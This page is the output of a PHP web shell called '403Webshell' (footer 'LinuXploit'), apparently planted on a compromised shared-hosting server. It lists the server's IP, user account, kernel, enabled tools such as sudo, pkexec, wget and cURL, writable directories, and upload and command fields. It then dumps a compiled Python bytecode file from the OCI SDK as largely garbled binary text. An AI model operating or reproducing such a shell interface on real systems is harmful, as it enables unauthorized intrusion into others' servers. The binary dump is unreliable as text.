403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/oci/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/oci/__pycache__/alloy.cpython-39.pyc
a

���f�@s�ddlmZddlZddlZddlZddlZddlZddlZddl	m
Z
dZej�
ddd�ZdZd	Zd
ZdZeefZeefZe�e�Zdd
�ZGdd�de�Ze�Zdd�Zdd�Zdd�Zdd�Ze�dS)�)�absolute_importN)�InvalidAlloyConfigZOCI_ALLOY_CONFIG_FILE_PATH�~z.ocizalloy-config.jsonZservices�regionsZ
alloyProviderZociRegionCoexistcCstjjst�d�dtj_dS)NzAlloy mode detectedT)�ocirZ_IS_ALLOY_MODE�logger�debug�r	r	�-/usr/lib/python3.9/site-packages/oci/alloy.py�_enable_alloy_modes
rc@s>eZdZdd�Zdd�Zddd�Zdd	�Zd
d�Zdd
�ZdS)�OciSdkEnabledServicesSetcCst�|_d|_dS)NF)�set�_enabled_services_set�_cleared_set_for_user_override��selfr	r	r
�__init__'sz!OciSdkEnabledServicesSet.__init__cCst�dd|���S)Nz[^a-z]+�)�re�sub�lower)r�service_namer	r	r
�_clean_up_service_name_string+sz6OciSdkEnabledServicesSet._clean_up_service_name_stringTcCs<|js"|r"t�d�|��d|_|�|�}|j�|�dS)NzRWARNING: Clearing OCI_SDK_ENABLED_SERVICES_SET to allow user override through codeT)rrZwarning�clearrr�add)rr�override_by_user�clean_service_name_stringr	r	r
r0s


zOciSdkEnabledServicesSet.addcCst|j�dkS)Nr)�lenrrr	r	r
�isempty9sz OciSdkEnabledServicesSet.isemptycCs|j��dS)N)rrrr	r	r
r<szOciSdkEnabledServicesSet.clearcCs |��rdS|�|�}||jvS)NT)rrr)rrrr	r	r
�is_service_enabled?s
z+OciSdkEnabledServicesSet.is_service_enabledN)T)	�__name__�
__module__�__qualname__rrrrrrr	r	r	r
r%s
	rcCs�tD]*}||vrt�d�|��td�|���qtD]`}||vr4|tur4t||tt	f�shtd�t���t||t	�r4||�
�dvr4td�t���q4dS)Nz Key {} not found in alloy configz0Alloy config is invalid. Missing required key {}z{} must be either bool or str)�trueZfalsez.Allowed values for {} are either true or falseT)�!ALLOY_CONFIG_SCHEMA_REQUIRED_KEYSrr�formatr�!ALLOY_CONFIG_SCHEMA_OPTIONAL_KEYS�$ALLOY_CONFIG_REGION_COEXIST_KEY_NAME�
isinstance�bool�strr)�alloy_config_json_object�keyr	r	r
�_validate_alloy_config_schemaJsr-cCs |r|D]}tj|dd�qdS)NF)r)�OCI_SDK_ENABLED_SERVICES_SETr)Zalloy_config_services_listZservicer	r	r
�_add_services_from_alloy_configXsr/c
Csdt�t�r&t�t�}t�d�t��nt}tj�|�}tj�	|��r`t
�t�d�|��z6t|d��}|��}Wd�n1s�0YWn<t
tfy�}z t�d�|��|�WYd}~n
d}~00zt�|�}Wn<tj�y}z t�d�|��|�WYd}~n
d}~00t|��r`t|t�|�td�tj_tj�|t�|�td�tj_dS)z�
    Looks for alloy-config.json and parses enabled services and regions information from it
    Default location is ~/.oci/alloy-config.json
    Default location can be overridden by setting environment variable OCI_ALLOY_CONFIG_FILE_PATH
    z3Overriding default path for alloy-config.json to {}z-Alloy configuration file found at location {}�rNz<Reading alloy configuration file failed because of error: {}zMDecoding JSON array from alloy configuration file failed because of error: {}F)�os�getenv� OCI_ALLOY_FILE_PATH_ENV_VAR_NAMErrr%�ALLOY_CONFIG_FILE_PATH�path�
expanduser�isfiler�open�read�OSError�IOError�json�loadsZJSONDecodeErrorr-r/�ALLOY_CONFIG_SERVICE_KEY_NAME�getr'rrZ_IS_ALLOY_REGION_COEXISTZ*_process_region_metadata_from_alloy_config�ALLOY_CONFIG_REGIONS_KEY_NAME�ALLOY_CONFIG_PROVIDER_KEY_NAMEZALLOY_PROVIDER_NAME)Zconfig_file_locationZexpanded_file_locationZalloy_config_fileZalloy_config_raw_file_content�er+r	r	r
�_set_alloy_config_from_file^s4

*
�rCcCs
t�dS)z�
    Determines if alloy specific inputs are provided and configures the SDK for alloy mode
    Alloy mode is enabled if alloy-config.json file is found
    N)rCr	r	r	r
�_configure_alloy_mode�srD) Z
__future__rrr1Zloggingr<Zoci.regionsrZoci.regions_definitionsZoci.exceptionsrr3r5�joinr4r>r@rAr'r$r&Z	getLoggerr rr�objectrr.r-r/rCrDr	r	r	r
�<module>s8��
"%	

Youez - 2016 - github.com/yon3zu
LinuXploit